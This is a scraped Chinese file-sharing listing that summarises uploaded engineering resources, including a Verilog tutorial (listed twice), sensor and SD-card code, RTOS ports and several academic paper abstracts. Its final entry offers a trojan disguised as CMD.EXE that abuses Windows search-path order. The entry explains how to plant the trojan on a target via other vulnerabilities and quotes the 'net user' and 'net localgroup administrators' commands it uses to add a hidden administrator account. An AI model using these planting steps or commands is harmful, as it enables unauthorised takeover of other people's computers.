Verilog_HDL的基本語法詳解（夏宇聞版）:Verilog HDL是一種用于數(shù)字邏輯電路設(shè)計的語言。用Verilog HDL描述的電路設(shè)計就是該電路的Verilog HDL模型。Verilog HDL既是一種行為描述的語言也是一種結(jié)構(gòu)描述的語言。這也就是說，既可以用電路的功能描述也可以用元器件和它們之間的連接來建立所設(shè)計電路的Verilog HDL模型。Verilog模型可以是實際電路的不同級別的抽象。這些抽象的級別和它們對應(yīng)的模型類型共有以下五種： 系統(tǒng)級（system）：用高級語言結(jié)構(gòu)實現(xiàn)設(shè)計模塊的外部性能的模型。 算法級（algorithm）：用高級語言結(jié)構(gòu)實現(xiàn)設(shè)計算法的模型。 RTL級（Register Transfer Level）：描述數(shù)據(jù)在寄存器之間流動和如何處理這些數(shù)據(jù)的模型。 門級（gate-level）：描述邏輯門以及邏輯門之間的連接的模型。 開關(guān)級（switch-level）：描述器件中三極管和儲存節(jié)點以及它們之間連接的模型。 一個復(fù)雜電路系統(tǒng)的完整Verilog HDL模型是由若干個Verilog HDL模塊構(gòu)成的，每一個模塊又可以由若干個子模塊構(gòu)成。其中有些模塊需要綜合成具體電路，而有些模塊只是與用戶所設(shè)計的模塊交互的現(xiàn)存電路或激勵信號源。利用Verilog HDL語言結(jié)構(gòu)所提供的這種功能就可以構(gòu)造一個模塊間的清晰層次結(jié)構(gòu)來描述極其復(fù)雜的大型設(shè)計，并對所作設(shè)計的邏輯電路進行嚴格的驗證。 Verilog HDL行為描述語言作為一種結(jié)構(gòu)化和過程性的語言，其語法結(jié)構(gòu)非常適合于算法級和RTL級的模型設(shè)計。這種行為描述語言具有以下功能： · 可描述順序執(zhí)行或并行執(zhí)行的程序結(jié)構(gòu)。 · 用延遲表達式或事件表達式來明確地控制過程的啟動時間。 · 通過命名的事件來觸發(fā)其它過程里的激活行為或停止行為。 · 提供了條件、if-else、case、循環(huán)程序結(jié)構(gòu)。 · 提供了可帶參數(shù)且非零延續(xù)時間的任務(wù)（task）程序結(jié)構(gòu)。 · 提供了可定義新的操作符的函數(shù)結(jié)構(gòu)（function）。 · 提供了用于建立表達式的算術(shù)運算符、邏輯運算符、位運算符。 · Verilog HDL語言作為一種結(jié)構(gòu)化的語言也非常適合于門級和開關(guān)級的模型設(shè)計。因其結(jié)構(gòu)化的特點又使它具有以下功能： - 提供了完整的一套組合型原語（primitive）; - 提供了雙向通路和電阻器件的原語; - 可建立MOS器件的電荷分享和電荷衰減動態(tài)模型。 Verilog HDL的構(gòu)造性語句可以精確地建立信號的模型。這是因為在Verilog HDL中，提供了延遲和輸出強度的原語來建立精確程度很高的信號模型。信號值可以有不同的的強度，可以通過設(shè)定寬范圍的模糊值來降低不確定條件的影響。 Verilog HDL作為一種高級的硬件描述編程語言，有著類似C語言的風(fēng)格。其中有許多語句如：if語句、case語句等和C語言中的對應(yīng)語句十分相似。如果讀者已經(jīng)掌握C語言編程的基礎(chǔ)，那么學(xué)習(xí)Verilog HDL并不困難，我們只要對Verilog HDL某些語句的特殊方面著重理解，并加強上機練習(xí)就能很好地掌握它，利用它的強大功能來設(shè)計復(fù)雜的數(shù)字邏輯電路。下面我們將對Verilog HDL中的基本語法逐一加以介紹。
標簽： Verilog_HDL
上傳時間： 2013-11-23
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ADXL345的詳細介紹資料 本模塊使用說明書。 本壓縮文件能夠利用角度傳感器對x，y，z三方的加速度值，角度值進行測量，并集成了1602對其進行顯示。 為了便于使用，我們分別將模塊單獨化，如果您有使用的意向，可以單獨摘出 angle.c 引入到您自己新建的工程中。 關(guān)于angle.c文件的內(nèi)部函數(shù)使用說明。 首先為了便于使用和方便引用我們對內(nèi)部函數(shù)進行了高度集成化，您在引入angle.c后直接在您的主程序中調(diào)用 dis_data();函數(shù)，可完成ADXL345芯片的測量數(shù)據(jù)， 測量數(shù)據(jù)說明： char as_Xjiasu[6],as_Yjiasu[6],as_Zjiasu[6]; //定義3軸靜態(tài)重力加速度值的ASCII碼值 unsigned char as_Xangel[4],as_Yangel[4],as_Zangel[4]; //定義3軸角度值的ASCII碼值 as_Xjiasu[x]數(shù)組里邊我們?yōu)榱四氖褂弥苯訉?加速度值轉(zhuǎn)換成了 能夠直接顯示到 1602上的ASCII碼值，同理as_Xangel 真實數(shù)據(jù)存放說明。 float jiasu_xyz[3]; angel_xyz[3]; //存放X,Y,Z 軸的靜態(tài)重力加速度，角度值 存放了 加速度和角度的真實值（未經(jīng)轉(zhuǎn)換成ASCII碼的數(shù)據(jù)）--本數(shù)據(jù)可以用于其他用途，直接參與MCU內(nèi)部運算等。
上傳時間： 2013-11-17
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主要針對貨車動態(tài)稱重系統(tǒng)中大量實時載重數(shù)據(jù)存取的需求而做的設(shè)計。該設(shè)計基于ARM9和μC/OS-II相結(jié)合的軟硬件平臺，實現(xiàn)了一種SD卡文件系統(tǒng)。SD卡的接口電路采用SD總線模式連接，軟件設(shè)計基于嵌入式操作系μC/OS-II ，文件系統(tǒng)的實現(xiàn)參照FAT32規(guī)范。實際應(yīng)用表明，該設(shè)計能夠滿足大量數(shù)據(jù)的存取效率以及文件管理的技術(shù)指標。
標簽： C_OS-II ARM9 SD卡文件 系統(tǒng)設(shè)計
上傳時間： 2013-11-04
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1.改移植和模板工程不包括操作系統(tǒng)核ucosⅡ的源代碼,如需使用請向操作系統(tǒng)的供應(yīng)商聯(lián)系或者網(wǎng)上下載免費的源代碼。 2.本移植使用的是 ucosⅡ 2.83版本，需要在OS文件夾下添加的操作系統(tǒng)源代碼包括如下文件： os_flag.c os_mbox.c os_mem.c os_mutex.c os_q.c os_sem.c os_task.c os_time.c os_tmr.c os_core.c
上傳時間： 2013-10-27
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Verilog_HDL的基本語法詳解（夏宇聞版）:Verilog HDL是一種用于數(shù)字邏輯電路設(shè)計的語言。用Verilog HDL描述的電路設(shè)計就是該電路的Verilog HDL模型。Verilog HDL既是一種行為描述的語言也是一種結(jié)構(gòu)描述的語言。這也就是說，既可以用電路的功能描述也可以用元器件和它們之間的連接來建立所設(shè)計電路的Verilog HDL模型。Verilog模型可以是實際電路的不同級別的抽象。這些抽象的級別和它們對應(yīng)的模型類型共有以下五種： 系統(tǒng)級（system）：用高級語言結(jié)構(gòu)實現(xiàn)設(shè)計模塊的外部性能的模型。 算法級（algorithm）：用高級語言結(jié)構(gòu)實現(xiàn)設(shè)計算法的模型。 RTL級（Register Transfer Level）：描述數(shù)據(jù)在寄存器之間流動和如何處理這些數(shù)據(jù)的模型。 門級（gate-level）：描述邏輯門以及邏輯門之間的連接的模型。 開關(guān)級（switch-level）：描述器件中三極管和儲存節(jié)點以及它們之間連接的模型。 一個復(fù)雜電路系統(tǒng)的完整Verilog HDL模型是由若干個Verilog HDL模塊構(gòu)成的，每一個模塊又可以由若干個子模塊構(gòu)成。其中有些模塊需要綜合成具體電路，而有些模塊只是與用戶所設(shè)計的模塊交互的現(xiàn)存電路或激勵信號源。利用Verilog HDL語言結(jié)構(gòu)所提供的這種功能就可以構(gòu)造一個模塊間的清晰層次結(jié)構(gòu)來描述極其復(fù)雜的大型設(shè)計，并對所作設(shè)計的邏輯電路進行嚴格的驗證。 Verilog HDL行為描述語言作為一種結(jié)構(gòu)化和過程性的語言，其語法結(jié)構(gòu)非常適合于算法級和RTL級的模型設(shè)計。這種行為描述語言具有以下功能： · 可描述順序執(zhí)行或并行執(zhí)行的程序結(jié)構(gòu)。 · 用延遲表達式或事件表達式來明確地控制過程的啟動時間。 · 通過命名的事件來觸發(fā)其它過程里的激活行為或停止行為。 · 提供了條件、if-else、case、循環(huán)程序結(jié)構(gòu)。 · 提供了可帶參數(shù)且非零延續(xù)時間的任務(wù)（task）程序結(jié)構(gòu)。 · 提供了可定義新的操作符的函數(shù)結(jié)構(gòu)（function）。 · 提供了用于建立表達式的算術(shù)運算符、邏輯運算符、位運算符。 · Verilog HDL語言作為一種結(jié)構(gòu)化的語言也非常適合于門級和開關(guān)級的模型設(shè)計。因其結(jié)構(gòu)化的特點又使它具有以下功能： - 提供了完整的一套組合型原語（primitive）; - 提供了雙向通路和電阻器件的原語; - 可建立MOS器件的電荷分享和電荷衰減動態(tài)模型。 Verilog HDL的構(gòu)造性語句可以精確地建立信號的模型。這是因為在Verilog HDL中，提供了延遲和輸出強度的原語來建立精確程度很高的信號模型。信號值可以有不同的的強度，可以通過設(shè)定寬范圍的模糊值來降低不確定條件的影響。 Verilog HDL作為一種高級的硬件描述編程語言，有著類似C語言的風(fēng)格。其中有許多語句如：if語句、case語句等和C語言中的對應(yīng)語句十分相似。如果讀者已經(jīng)掌握C語言編程的基礎(chǔ)，那么學(xué)習(xí)Verilog HDL并不困難，我們只要對Verilog HDL某些語句的特殊方面著重理解，并加強上機練習(xí)就能很好地掌握它，利用它的強大功能來設(shè)計復(fù)雜的數(shù)字邏輯電路。下面我們將對Verilog HDL中的基本語法逐一加以介紹。
標簽： Verilog_HDL
上傳時間： 2014-12-04
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介紹了基于Matlab/RTW（Real-time Workshop）和RTX（Real-time extension）構(gòu)建實時仿真系統(tǒng)的方法；針對基于RTX的實時仿真系統(tǒng)不能直接進行在線調(diào)參的不足，提出了一種利用C API（C文件應(yīng)用程序接口）實現(xiàn)在線調(diào)參的方法。經(jīng)過實驗證明，此仿真系統(tǒng)不僅具有很強的實時性，并且擁有良好的人機交互能力；另外，在線調(diào)參功能的實現(xiàn)使仿真試驗的效率得到了大大的提高，而且還可以作為一種故障注入方法來考察模型的容錯能力，是基于RTX實時仿真系統(tǒng)的一大改良。
標簽： API RTX 實時仿真系統(tǒng)
上傳時間： 2014-03-20
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針對數(shù)據(jù)在性態(tài)和類屬方面存在不確定性的特點，提出一種基于模糊C 均值聚類的數(shù)據(jù)流入侵檢測算法，該算法首先利用增量聚類得到網(wǎng)絡(luò)數(shù)據(jù)的概要信息和類數(shù)，然后利用模糊C均值聚類算法對獲取的數(shù)據(jù)特征進行聚類。實驗結(jié)果表明該算法可以有效檢測數(shù)據(jù)流入侵。
標簽： 模糊 數(shù)據(jù)流 入侵檢測 算法
上傳時間： 2015-01-03
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基于實際的雕刻控制平臺能有效地讀取CAD軟件設(shè)計圖形的數(shù)據(jù)參數(shù)的目的，采用了AutoCAD強大的繪圖功能與C語言強有力的計算、輸入和輸出等功能相結(jié)合的方法。通過研究分析AutoCAD的DXF文件數(shù)據(jù)格式及組成，結(jié)合C語言的文件管理功能，設(shè)計出了C語言與AutoCAD接口程序，并給出了具體的設(shè)計方法。通過自行開發(fā)軟件與AutoCAD之間建立數(shù)據(jù)通道，實現(xiàn)數(shù)據(jù)傳遞和共享（即對DXF中的實體（如直線、圓等）進行坐標提取）的實驗，證明了該方法的實用性和便利性。
標簽： DXF VC 數(shù)據(jù)文件 接口
上傳時間： 2013-11-02
上傳用戶：pzw421125
一. 實驗?zāi)康模?設(shè)計、編寫和調(diào)試一個具體的詞法分析程序，加深對詞法分析理論和自動詞法分析工具的理解、實踐和掌握。 二. 實驗要求： ① 學(xué)習(xí)和理解正則表達式理論,寫出C—語言的記號的完整的正則表達式;(適當使用正則定義) ② 學(xué)習(xí)和理解有限機理論,根據(jù)前面的正則表達式,用基于經(jīng)驗的方法畫出C—語言的記的DFA圖; ③ 用基于DFA圖的算法編寫C—語言的詞法分析程序; ④ 學(xué)習(xí)詞法分析程序的自動生成工具,使用LEX工具實現(xiàn)C—語言的詞法分析程序.
上傳時間： 2013-12-19
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你是不是經(jīng)常在開始菜單的運行窗口里運行命令呢? 看看這個漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在執(zhí)行搜索的時候, 首先查找根目錄 而開始菜單的運行窗口里執(zhí)行命令, 也是首先在系統(tǒng)盤的根目錄里進行查找. 這個漏洞其實是已經(jīng)是公開的秘密了. 既然現(xiàn)在作為漏洞公布出來, 我也就把網(wǎng)上的PasswordReminder.cpp拿來改了改 加了一個加超級管理員用戶和執(zhí)行cmd.exe的功能. 使用方法: 把程序解壓, 把壓縮包里的文件 CMD.EXE (該文件具有隱藏和只讀屬性) 釋放到目標機器的系統(tǒng)盤根目錄, 一般都是在C:比如利用UNICODE/Decode漏洞就有寫根目錄的權(quán)限, 同時Asp/fp30reg.dll等遠程溢出出來的Shell, 一般都只有匿名權(quán)限, 但是它具有寫根目錄的權(quán)限 這個時候, 就可以把本程序放到目標機器的系統(tǒng)盤根目錄 只要等管理員在機器的開始菜單里運行命令: cmd 一切盡在掌握中.:) PS: 系統(tǒng)執(zhí)行后, 會先產(chǎn)生一個線程來做一些處理 然后用system()函數(shù)調(diào)用cmd.exe來讓用戶能夠執(zhí)行命令. 產(chǎn)生出來的線程會產(chǎn)生兩個進程序執(zhí)行如下兩個命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 這樣就在系統(tǒng)上增加了一個超級
上傳時間： 2015-01-12
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